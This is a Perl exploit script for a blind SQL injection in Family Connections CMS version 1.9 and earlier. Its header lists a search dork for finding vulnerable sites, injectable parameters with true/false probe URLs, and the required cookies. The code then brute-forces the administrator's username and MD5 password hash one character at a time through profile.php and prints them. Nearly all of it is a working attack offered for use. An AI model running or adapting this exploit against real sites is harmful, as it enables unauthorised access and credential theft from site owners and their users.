#!/usr/bin/perl #-------------------------------------------------------------------------------- #(GET var 'member') BLIND SQL INJECTION EXPLOIT --FAMILY CONNECTIONS <= v1.9 --> #-------------------------------------------------------------------------------- # #CMS INFORMATION: # #-->WEB: http://www.familycms.com/index.php #-->DOWNLOAD: http://www.familycms.com/download.php #-->DEMO: http://www.familycms.com/demo/index.php #-->CATEGORY: CMS/PORTAL #-->DESCRIPTION: A private, easy-to-use website where you can connect # with your friends and family. Share photos, messages, documents and more. #-->RELEASED: 2009-05-11 # #CMS VULNERABILITY: # #-->TESTED ON: firefox 3 #-->DORK: "2006-2009 Ryan Haudenschilt" #-->CATEGORY: BLIND SQL INJECTION EXPLOIT #-->AFFECT VERSION: <= 1.9 #-->Discovered Bug date: 2009-05-11 #-->Reported Bug date: 2009-05-11 #-->Fixed bug date: N/A #-->Info patch (????): N/A #-->Author: YEnH4ckEr #-->mail: y3nh4ck3r[at]gmail[dot]com #-->WEB/BLOG: N/A #-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. #-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) # # ############# #----------- #HISTORY: #----------- ############# # # #2008-06-14 --> v1.4 --> Fixed # #2009-03-30 -->v1.8.1 --> Not Fixed! (**) # #2009-04-03 --><=v1.8.2 --> Fixed # #2009-04-07 --><=v1.8.2 --> Not Fixed! (**) # # ################################# #------------------------------- #CURRENTLY:BLIND SQL INJECTION #------------------------------- ################################# # # #<<<<---------++++++++++++++ Condition: magic quotes=OFF/ON +++++++++++++++++--------->>>> # #<<<<-----------++++++++++++ Condition: Be register user +++++++++++++----------->>>> # # #========= #--------- #COOKIES: #--------- #========= # # #fcms_login_uname=your_real_name # #fcms_login_pw=your_real_pass # #fcms_login_id=your_real_id+and+1=1 # # #(Delete PHPSESSID) Result: True --> Show page # # #fcms_login_user=your_real_name # #fcms_login_pass=your_real_pass # #fcms_login_id=your_real_id+and+1=0 # # #(Delete PHPSESSID) Result: False --> Don't Show page # # #Exploits --> (**) # # #===================================== #------------------------------------- #(messageboard.php) GET var 'thread': #------------------------------------- #===================================== # # #http://[HOST]/[PATH]/messageboard.php?thread=1+AND+1=1 --> TRUE # #http://[HOST]/[PATH]/messageboard.php?thread=1+AND+1=0 --> FALSE # # #================================ #-------------------------------- #(profile.php) GET var 'member': #-------------------------------- #================================ # # #http://[HOST]/[PATH]/profile.php?member=2+AND+1=1 --> TRUE # #http://[HOST]/[PATH]/profile.php?member=2+AND+1=0 --> FALSE # # #=================================== #----------------------------------- #(gallery/index.php) GET var 'pid': #----------------------------------- #=================================== # # #http://[HOST]/[PATH]/gallery/index.php?uid=2&cid=2&pid=1+and+1=1 --> TRUE # #http://[HOST]/[PATH]/gallery/index.php?uid=2&cid=2&pid=1+and+1=0 --> FALSE # # ########################### #-------------------------- #CONDITIONS TO EXPLOITING: #-------------------------- ########################### # # #Valid username and password and id (Id is shown in cookies with autologin). # # ##*******************************************************************## ## SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k ... ## ##*******************************************************************## ##-------------------------------------------------------------------## ##*******************************************************************## ## GREETZ TO: SPANISH H4ck3Rs community! ## ##*******************************************************************## # # # use LWP::UserAgent; use HTTP::Request; use Digest::MD5 qw(md5_hex); #Subroutines sub lw { my $SO = $^O; my $linux = ""; if (index(lc($SO),"win")!=-1){ $linux="0"; }else{ $linux="1"; } if($linux){ system("clear"); } else{ system("cls"); system ("title Family Connections <= v1.9 (GET var 'member') BLIND SQL Injection Exploit"); system ("color 02"); } } sub request { my $userag = LWP::UserAgent->new; $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); my $request = HTTP::Request -> new(GET => $_[0]); my $cookieid="fcms_login_id=".$_[1]; my $cookieuname="fcms_login_uname=".$_[2]; my $cookiepw="fcms_login_pw=".$_[3]; my $cookie=$cookieid.";".$cookieuname.";".$cookiepw; $request->header(cookie => $cookie); my $outcode= $userag->request($request)->as_string; return $outcode; } sub helper { print "\n\t[!-!] Family Connections <= v1.9 (GET var 'member') BLIND SQLi Exploit\n"; print "\t[!-!] USAGE MODE: [!-!]\n"; print "\t[!-!] perl $0 [HOST] [PATH] [your-user] [your-pass] [your-id]\n"; print "\t[!-!] [HOST]: Web.\n"; print "\t[!-!] [PATH]: Home Path. Not use path= no-path\n"; print "\t[!-!] [your-user]: Your username.\n"; print "\t[!-!] [your-pass]: Your password.\n"; print "\t[!-!] [your-id]: Id in cookies --> Name=fcms_login_id.\n"; print "\t[!-!] Example: perl $0 'www.example.es' 'dogarchive' 'y3nh4ck3r' 'y3nh4ck3r' '123'\n"; } sub error { print "\t-----------------------------------------------------------------\n"; print "\tWEB IS NOT VULNERABLE!\n\n"; print "\tMaybe --> \n\n"; print "\t1.-Patched\n"; print "\t2.-You aren't registered. Invalid username, password or id.\n\n"; print "\tEXPLOIT FAILED!\n"; print "\t-----------------------------------------------------------------\n"; } sub testedblindsql { print "\t-----------------------------------------------------------------\n"; print "\tWEB MAYBE BE VULNERABLE!\n\n"; print "\tTested Blind SQL Injection.\n"; print "\tStarting exploit...\n"; print "\t-----------------------------------------------------------------\n\n"; } sub brute_length{ #User length $exit=0; $i=0; while($exit==0){ my $blindsql=$_[0]."+AND+(SELECT+length(username)+FROM+fcms_users+WHERE+id=1)=".$i++; #injected code $output=&request($blindsql,$_[1],$_[2],$_[3]); if($output =~ (/\<h3\>$_[2], $_[2]\<\/h3>/)){ $exit=1; }else{ $exit=0; } #Maybe patched. This is the max length of username if($i>25){ &error; exit(1); } } #Save column length $length=$i-1; print "\t<<<<<--------------------------------------------------------->>>>>\n"; print "\tLength User catched!\n"; print "\tLength User: ".$length."\n"; print "\tBruteforcing User and Password values.\n"; print "\tWait several minutes (15 o 20 minutes)...\n"; print "\t<<<<<--------------------------------------------------------->>>>>\n\n"; return $length; } sub exploiting { #Bruteforcing $values=""; $k=1; $z=48; while(($k<=$_[1]) && ($z<=126)){ my $blindsql=$_[0].'+AND+ascii(substring((SELECT+'.$_[2].'+FROM+fcms_users+WHERE+id=1),'.$k.',1))='.$z; $output=&request($blindsql,$_[3],$_[4],$_[5]); if ($output =~ (/\<h3\>$_[4], $_[4]\<\/h3>/)) { $values=$values.chr($z); $k++; $z=47; } #new char $z++; } return $values; } #Main &lw; print "\t\t#########################################################\n\n"; print "\t\t#########################################################\n\n"; print "\t\t## Family Connections <= v1.9 - BLIND SQLi Exploit ##\n\n"; print "\t\t## Author: Y3nh4ck3r ##\n\n"; print "\t\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n"; print "\t\t## Proud to be Spanish! ##\n\n"; print "\t\t#########################################################\n\n"; print "\t\t#########################################################\n\n"; #Init variables my $host=$ARGV[0]; my $path=$ARGV[1]; my $myuser=$ARGV[2]; my $mypass=md5_hex($ARGV[3]); my $myid=$ARGV[4]; #Build the uri #Build the uri if($path eq "no-path"){ $finalhost="http://".$host."/profile.php?member=".$myid; }else{ $finalhost="http://".$host."/".$path."/profile.php?member=".$myid; } #Check all variables needed $numArgs = $#ARGV + 1; if($numArgs<=4) { &helper; exit(1); } $finalrequest = $finalhost; #Testing blind sql injection $blindsql=$finalrequest."+AND+1=1"; $output=&request($blindsql,$myid,$myuser,$mypass); if ($output =~ (/\<h3\>($myuser, $myuser)\<\/h3>/)) { #blind sql injection is available &testedblindsql; }else{ #Not injectable &error; exit(1); } #Bruteforcing length $length_user=&brute_length($finalrequest,$myid,$myuser,$mypass); #Bruteforcing username... $username=&exploiting($finalrequest,$length_user,'username',$myid,$myuser,$mypass); #Bruteforcing password... $passhash=&exploiting($finalrequest,32,'password',$myid,$myuser,$mypass); #final checking (perhaps admin id is not 2252) if((!$username) || (!$passhash)){ &error; exit(1); } print "\n\t\t*************************************************\n"; print "\t\t********* EXPLOIT EXECUTED WITH SUCCESS ********\n"; print "\t\t*************************************************\n\n"; print "\t\tAdmin-username: ".$username."\n"; print "\t\tAdmin-password(md5 hash): ".$passhash."\n\n"; print "\n\t\t<<----------------------FINISH!-------------------->>\n\n"; print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n"; print "\t\t<<------------------------EOF---------------------->>\n\n"; exit(1); #Ok...all job done